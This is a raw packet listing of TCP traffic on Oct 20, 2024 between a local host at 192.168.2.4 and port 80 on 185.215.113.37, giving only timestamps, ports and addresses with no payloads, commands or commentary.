Oct 20, 2024 06:40:05.681144953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.681253910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.681735039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.681792021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.681797981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.681811094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.681849957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.681880951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.681972027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.681988955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.682027102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.682058096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.682599068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.682658911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.682681084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.682692051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.682734013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.682828903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.682840109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.682884932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.873856068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.873991013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.874089003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874100924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874111891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874140978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.874188900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.874195099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874207020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874217987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874231100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874248981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.874249935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.874284029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.874471903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874483109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874526024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.874695063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874706984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874716043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874753952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874758959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.874789000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.874809027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.874905109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874916077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874927998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.874960899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.874960899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.875013113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.875098944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.875147104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.875190020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.875201941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.875215054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.875237942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.875267982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.875606060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.875662088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.875679970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.875691891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.875729084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.875760078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.875857115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.875871897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.875881910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.875893116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.875907898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.875943899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.875943899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.876126051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.876177073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.876566887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.876620054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.876643896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.876656055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.876693964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.876724958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.876858950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.876869917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.876880884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.876892090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.876907110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.876945019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.876945019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.877123117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.877173901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.877516031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.877563953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.877584934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.877597094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.877641916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.877641916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.877728939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.877738953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.877774954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.877774000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.877788067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.877794981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.877821922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.877851009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.878077984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.878127098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.878513098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.878552914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.878563881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.878598928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.066709042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.066736937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.066746950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.066812992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.066812992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.066859961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.066871881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.066915035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.066946983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.067012072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067023039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067065001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.067095995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.067162991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067182064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067192078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067202091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067210913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.067213058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067243099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.067243099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.067277908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.067575932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067586899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067595959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067631960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.067662001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.067775965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067785978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067795992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.067826033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.067848921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.068005085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068017006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068058968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.068082094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.068146944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068157911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068197966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.068289995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068340063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.068365097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068377018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068387032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068397999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068418980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.068454981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.068454981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.068681955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068691969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068732977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.068763018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.068792105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068804979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.068850040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.069021940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069031954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069044113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069052935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069066048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069065094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.069066048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.069092989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.069119930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.069422007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069432020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069442034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069451094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069463015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069473028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.069503069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.069530964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.069814920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069825888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069835901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069847107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069859028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069870949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.069880009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.069880009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.069911957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.070333004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.070343018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.070353031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.070363045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.070374012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.070383072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.070385933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.070437908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.070439100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.070712090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.070763111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.070800066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.070811987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.070848942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.070878983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.071034908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071046114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071058035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071070910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071084023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.071120977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.071120977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.071335077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071346045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071356058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071367025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071377993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071398973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.071439981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.071439981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.071790934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071803093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071813107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071822882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071834087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071847916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.071847916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.071899891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.071899891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.072232962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072244883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072254896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072266102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072278023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072288990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072304964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.072304964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.072345018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.072731972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072742939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072752953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072763920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072774887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072781086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.072786093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072798967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.072817087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.072849989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.073128939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.073139906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.073149920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.073160887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.073178053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.073206902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.215418100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.215431929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.215481997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.260838985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261061907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261071920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261081934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261094093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261104107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261111021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261147022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261181116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261197090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261205912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261215925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261226892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261233091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261256933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261284113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261383057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261398077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261406898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261413097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261446953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261468887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261521101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261574030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261641026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261651039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261661053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261668921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261678934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261689901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261698008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261733055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261748075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.261934042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261945963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261955976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.261990070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.262006044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.262082100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262094021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262140036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.262259960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262270927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262279987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262290001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262304068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262315035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.262317896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262342930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.262358904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.262604952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262617111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262661934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.262758017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262773037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262787104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262798071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262808084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.262809038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262820005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262830019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.262841940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.262870073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.263087034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.263134956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.263237000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.263246059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.263262033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.263273954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.263283968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.263292074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.263294935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.263305902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.263319016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.263322115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.263340950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.263362885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.265912056 CEST	80	49730	185.215.113.37	192.168.2.4
